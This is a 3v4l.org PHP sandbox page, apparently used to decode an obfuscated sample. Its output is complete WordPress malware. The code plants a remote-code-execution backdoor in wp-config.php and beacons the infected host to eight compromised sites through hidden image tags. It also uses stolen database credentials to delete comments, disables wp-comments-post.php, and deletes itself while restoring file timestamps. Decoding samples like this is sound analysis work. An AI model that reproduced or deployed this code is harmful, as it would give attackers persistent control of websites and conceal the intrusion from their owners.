3v4l.org

run code in 500+ PHP versions simultaneously
<?php echo base64_decode('PD9waHAKCmZ1bmN0aW9uIFVub19lbmNvZGUoJFN0cmluZykKewogICAgJFNhbHQ9J2RjNXA5ZE9wQmMnOwogICAgJFN0ckxlbiA9IHN0cmxlbigkU3RyaW5nKTsKICAgICRTZXEgPSAnRE1FZjVIWnVQcSc7CiAgICAkR2FtbWEgPSAnJzsKICAgIHdoaWxlIChzdHJsZW4oJEdhbW1hKTwkU3RyTGVuKQogICAgewogICAgICAgICRTZXEgPSBwYWNrKCJIKiIsc2hhMSgkR2FtbWEuJFNlcS4kU2FsdCkpOwogICAgICAgICRHYW1tYS49c3Vic3RyKCRTZXEsMCw4KTsKICAgIH0KCiAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkU3RyaW5nXiRHYW1tYSk7Cn0KCmZ1bmN0aW9uIHJlcG9ydCgkcmNkKXsKJHJlY2l2ZXJzW10gPSAnaHR0cDovL2xpZ2h0aG91c2UtY2h1cmNoLmNvLnVrL3dwLWNvbnRlbnQvbGFuZ3VhZ2VzL2l0L2l0LnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly93d3cuYnVyZWF1dGFhbHZhc3Qubmwvd3AtY29udGVudC9nYWxsZXJ5L2hlYWRlci91L3BpYy5waHAnOwokcmVjaXZlcnNbXSA9ICdodHRwOi8vd2VzdGJ1cnlpbnRlcmlvcnMuY28udWsvd3AtY29udGVudC91cGxvYWRzLzIwMTQvMTEvaW1nLnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly9icmlzdHJhbmQuc2UvaGVtc2lkYS90bXAvaW1nLnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly90aGlja25lc3NwbGFuZXIub3JnL3dwLWNvbnRlbnQvcGx1Z2lucy9ha2lzbWV0L3UvcGlzLnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly90ZnBhY2syNC5pbmZvL3dwLWNvbnRlbnQvcGx1Z2lucy9hc2svaW5kZXgucGhwJzsKJHJlY2l2ZXJzW10gPSAnaHR0cDovL3BsYW5lbG9jYXRpb25zLmNvbS9leHRlbmRzdGF0cy91L2luLnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly9hY2Npb25lbnJlZGNhbmFyaWFzLmNvbS9pbmMvdC9pbmRleC5waHAnOwoKCgoKJHogPSBzdHJfcmVwbGFjZSgnd3AtY29udGVudC9wbHVnaW5zL2hlbGxvLnBocCcsJycsJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pOwokcmVwb3J0ID0gVW5vX2VuY29kZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0uICR6IC4gJ3wnIC4gJHJjZCk7CnNodWZmbGUoJHJlY2l2ZXJzKTsKZm9yZWFjaCgkcmVjaXZlcnMgYXMgJHQpewplY2hvICc8aW1nIHdpZHRoPTEgaGVpZ2h0PTEgc3JjPSInIC4kdCAuICc/ZGF0YT0nIC4kcmVwb3J0LiciPic7Cn0KfQoKZnVuY3Rpb24gcmVtb3ZlX2NvbW1lbnQoKXsKaW5jbHVkZV9vbmNlKCcuLi8uLi93cC1jb25maWcucGhwJyk7CgokY29uID0gbXlzcWxfY29ubmVjdChEQl9IT1NULERCX1VTRVIsREJfUEFTU1dPUkQpOwpteXNxbF9zZWxlY3RfZGIoREJfTkFNRSwgJGNvbik7CgokemFwcm9zID0gJ2RlbGV0ZSBmcm9tICcgLiAkdGFibGVfcHJlZml4IC4gJ2NvbW1lbnRzIHdoZXJlIGNvbW1lbnRfY29udGVudCBsaWtlIFwnJWF0b2IlXCc7JzsKJHIgPSBteXNxbF9xdWVyeSgkemFwcm9zKTsKbXlzcWxfY2xvc2UoJGNvbik7Cn0KCmZ1bmN0aW9uIHBhdGNoX3dwKCl7CiRmbmFtZSA9ICcuLi8uLi93cC1jb21tZW50cy1wb3N0LnBocCc7CmlmKGZpbGVfZXhpc3RzKCRmbmFtZSkpewokdCA9ICc8P3BocCBkaWUoKTsgPz4nIC4gUEhQX0VPTDsKCiR0aW1lID0gZmlsZW10aW1lKCRmbmFtZSk7CiR3cml0ID0gZmFsc2U7CgppZiAoIWlzX3dyaXRhYmxlKCRmbmFtZSkpewokcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZm5hbWUpKSwgLTQpOwpAY2htb2QoJGZuYW1lLDA2NjYpOwokd3JpdCA9IHRydWU7Cn0KCmNsZWFyc3RhdGNhY2hlKCk7CmlmIChpc193cml0YWJsZSgkZm5hbWUpKXsKJHRtcCA9IEBmaWxlX2dldF9jb250ZW50cygkZm5hbWUpOwokdG1wID0gJHQgLiAkdG1wOwp9CmlmIChzdHJsZW4oJHRtcCkgPiAxMCl7CgokZiA9IGZvcGVuKCRmbmFtZSwidyIpOwpmcHV0cygkZiwkdG1wKTsKZmNsb3NlKCRmKTsKfQoKY2xlYXJzdGF0Y2FjaGUoKTsKCmlmICgkd3JpdCl7CmZvcigkaT1zdHJsZW4oJHBlcm0pLTE7JGk+PTA7LS0kaSl7CiRwZXJtcyArPSAoaW50KSRwZXJtWyRpXSpwb3coOCwgKHN0cmxlbigkcGVybSktJGktMSkpOwp9CkBjaG1vZCgkZm5hbWUsJHBlcm1zKTsKfQoKQHRvdWNoKCRmbmFtZSwkdGltZSk7Cn0KfQoKZnVuY3Rpb24gc2VsZl9yZW1vdmUoKXsKJGZuYW1lID0gX19GSUxFX187CiR0aW1lID0gZmlsZW10aW1lKCRmbmFtZSk7CiR3cml0ID0gZmFsc2U7CgppZiAoIWlzX3dyaXRhYmxlKCRmbmFtZSkpewokcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZm5hbWUpKSwgLTQpOwpAY2htb2QoJGZuYW1lLDA2NjYpOwokd3JpdCA9IHRydWU7Cn0KCmNsZWFyc3RhdGNhY2hlKCk7CmlmIChpc193cml0YWJsZSgkZm5hbWUpKXsKJHRtcCA9IEBmaWxlX2dldF9jb250ZW50cygkZm5hbWUpOwoKJHBvcyA9IHN0cnBvcygkdG1wLCc0OWRlMzcxNTExYzFkZTNiJy4nZGUzNGIwMTA4ZWM3ZjEyOScpOwokdG1wID0gc3Vic3RyKCR0bXAsJHBvcyArIDMyKTsKCmlmIChzdHJsZW4oJHRtcCkgPiAxMCl7CgokZiA9IGZvcGVuKCRmbmFtZSwidyIpOwpmcHV0cygkZiwkdG1wKTsKZmNsb3NlKCRmKTsKfQoKY2xlYXJzdGF0Y2FjaGUoKTsKCmlmICgkd3JpdCl7CmZvcigkaT1zdHJsZW4oJHBlcm0pLTE7JGk+PTA7LS0kaSl7CiRwZXJtcyArPSAoaW50KSRwZXJtWyRpXSpwb3coOCwgKHN0cmxlbigkcGVybSktJGktMSkpOwp9CkBjaG1vZCgkZm5hbWUsJHBlcm1zKTsKfQoKQHRvdWNoKCRmbmFtZSwkdGltZSk7Cn0KfQoKJGZuYW1lID0gJy4uLy4uL3dwLWNvbmZpZy5waHAnOwoKaWYoZmlsZV9leGlzdHMoJGZuYW1lKSl7IAoKJHJjZCAgPSBtZDUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdLiRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXS5yYW5kKDAsMTAwMDApKTsKCiR0ID0gJ2lmIChpc3NldCgkX1JFUVVFU1RbXCdGSUxFXCddKSl7JF9GSUxFID0gJF9SRVFVRVNUW1wnJy4kcmNkLidcJ10oXCckX1wnLCRfUkVRVUVTVFtcJ0ZJTEVcJ10uXCcoJF8pO1wnKTsgJF9GSUxFKHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbXCdIT1NUXCddKSk7fSc7CgokdGltZSA9IGZpbGVtdGltZSgkZm5hbWUpOwokc2l6ZSA9IGZpbGVzaXplKCRmbmFtZSk7CiR3cml0ID0gZmFsc2U7CgppZiAoIWlzX3dyaXRhYmxlKCRmbmFtZSkpewokcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZm5hbWUpKSwgLTQpOwpAY2htb2QoJGZuYW1lLDA2NjYpOwokd3JpdCA9IHRydWU7Cn0KCmNsZWFyc3RhdGNhY2hlKCk7CmlmIChpc193cml0YWJsZSgkZm5hbWUpKXsKJHRtcCA9IEBmaWxlX2dldF9jb250ZW50cygkZm5hbWUpOwoKJHRtcCA9IHN0cl9yZXBsYWNlKCckdGFibGVfcHJlZml4JywgJHQgLiBQSFBfRU9MIC4gJyR0YWJsZV9wcmVmaXgnLCAkdG1wKTsKaWYgKHN0cmxlbigkdG1wKSA+IDEwKXsKCiRmID0gZm9wZW4oJGZuYW1lLCJ3Iik7CmZwdXRzKCRmLCR0bXApOwpmY2xvc2UoJGYpOwp9CgpjbGVhcnN0YXRjYWNoZSgpOwoKaWYgKCR3cml0KXsKZm9yKCRpPXN0cmxlbigkcGVybSktMTskaT49MDstLSRpKXsKJHBlcm1zICs9IChpbnQpJHBlcm1bJGldKnBvdyg4LCAoc3RybGVuKCRwZXJtKS0kaS0xKSk7Cn0KQGNobW9kKCRmbmFtZSwkcGVybXMpOwp9CgpAdG91Y2goJGZuYW1lLCR0aW1lKTsKfQoKY2xlYXJzdGF0Y2FjaGUoKTsKaWYoJHNpemUgIT09IGZpbGVzaXplKCRmbmFtZSkpewpyZXBvcnQoJHJjZCk7Cn0KfQoKcmVtb3ZlX2NvbW1lbnQoKTsKcGF0Y2hfd3AoKTsKc2VsZl9yZW1vdmUoKTsKCj8+Ci8vNDlkZTM3MTUxMWMxZGUzYmRlMzRiMDEwOGVjN2YxMjk=');
Output for rfc.property-hooks, git.master, git.master_jit
<?php function Uno_encode($String) { $Salt='dc5p9dOpBc'; $StrLen = strlen($String); $Seq = 'DMEf5HZuPq'; $Gamma = ''; while (strlen($Gamma)<$StrLen) { $Seq = pack("H*",sha1($Gamma.$Seq.$Salt)); $Gamma.=substr($Seq,0,8); } return base64_encode($String^$Gamma); } function report($rcd){ $recivers[] = 'http://lighthouse-church.co.uk/wp-content/languages/it/it.php'; $recivers[] = 'http://www.bureautaalvast.nl/wp-content/gallery/header/u/pic.php'; $recivers[] = 'http://westburyinteriors.co.uk/wp-content/uploads/2014/11/img.php'; $recivers[] = 'http://bristrand.se/hemsida/tmp/img.php'; $recivers[] = 'http://thicknessplaner.org/wp-content/plugins/akismet/u/pis.php'; $recivers[] = 'http://tfpack24.info/wp-content/plugins/ask/index.php'; $recivers[] = 'http://planelocations.com/extendstats/u/in.php'; $recivers[] = 'http://accionenredcanarias.com/inc/t/index.php'; $z = str_replace('wp-content/plugins/hello.php','',$_SERVER["REQUEST_URI"]); $report = Uno_encode($_SERVER["HTTP_HOST"]. $z . '|' . $rcd); shuffle($recivers); foreach($recivers as $t){ echo '<img width=1 height=1 src="' .$t . '?data=' .$report.'">'; } } function remove_comment(){ include_once('../../wp-config.php'); $con = mysql_connect(DB_HOST,DB_USER,DB_PASSWORD); mysql_select_db(DB_NAME, $con); $zapros = 'delete from ' . $table_prefix . 'comments where comment_content like \'%atob%\';'; $r = mysql_query($zapros); mysql_close($con); } function patch_wp(){ $fname = '../../wp-comments-post.php'; if(file_exists($fname)){ $t = '<?php die(); ?>' . PHP_EOL; $time = filemtime($fname); $writ = false; if (!is_writable($fname)){ $perm = substr(sprintf('%o', fileperms($fname)), -4); @chmod($fname,0666); $writ = true; } clearstatcache(); if (is_writable($fname)){ $tmp = @file_get_contents($fname); $tmp = $t . $tmp; } if (strlen($tmp) > 10){ $f = fopen($fname,"w"); fputs($f,$tmp); fclose($f); } clearstatcache(); if ($writ){ for($i=strlen($perm)-1;$i>=0;--$i){ $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); } @chmod($fname,$perms); } @touch($fname,$time); } } function self_remove(){ $fname = __FILE__; $time = filemtime($fname); $writ = false; if (!is_writable($fname)){ $perm = substr(sprintf('%o', fileperms($fname)), -4); @chmod($fname,0666); $writ = true; } clearstatcache(); if (is_writable($fname)){ $tmp = @file_get_contents($fname); $pos = strpos($tmp,'49de371511c1de3b'.'de34b0108ec7f129'); $tmp = substr($tmp,$pos + 32); if (strlen($tmp) > 10){ $f = fopen($fname,"w"); fputs($f,$tmp); fclose($f); } clearstatcache(); if ($writ){ for($i=strlen($perm)-1;$i>=0;--$i){ $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); } @chmod($fname,$perms); } @touch($fname,$time); } } $fname = '../../wp-config.php'; if(file_exists($fname)){ $rcd = md5($_SERVER["HTTP_HOST"].$_SERVER["HTTP_USER_AGENT"].rand(0,10000)); $t = 'if (isset($_REQUEST[\'FILE\'])){$_FILE = $_REQUEST[\''.$rcd.'\'](\'$_\',$_REQUEST[\'FILE\'].\'($_);\'); $_FILE(stripslashes($_REQUEST[\'HOST\']));}'; $time = filemtime($fname); $size = filesize($fname); $writ = false; if (!is_writable($fname)){ $perm = substr(sprintf('%o', fileperms($fname)), -4); @chmod($fname,0666); $writ = true; } clearstatcache(); if (is_writable($fname)){ $tmp = @file_get_contents($fname); $tmp = str_replace('$table_prefix', $t . PHP_EOL . '$table_prefix', $tmp); if (strlen($tmp) > 10){ $f = fopen($fname,"w"); fputs($f,$tmp); fclose($f); } clearstatcache(); if ($writ){ for($i=strlen($perm)-1;$i>=0;--$i){ $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); } @chmod($fname,$perms); } @touch($fname,$time); } clearstatcache(); if($size !== filesize($fname)){ report($rcd); } } remove_comment(); patch_wp(); self_remove(); ?> //49de371511c1de3bde34b0108ec7f129

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
133.84 ms | 3544 KiB | 4 Q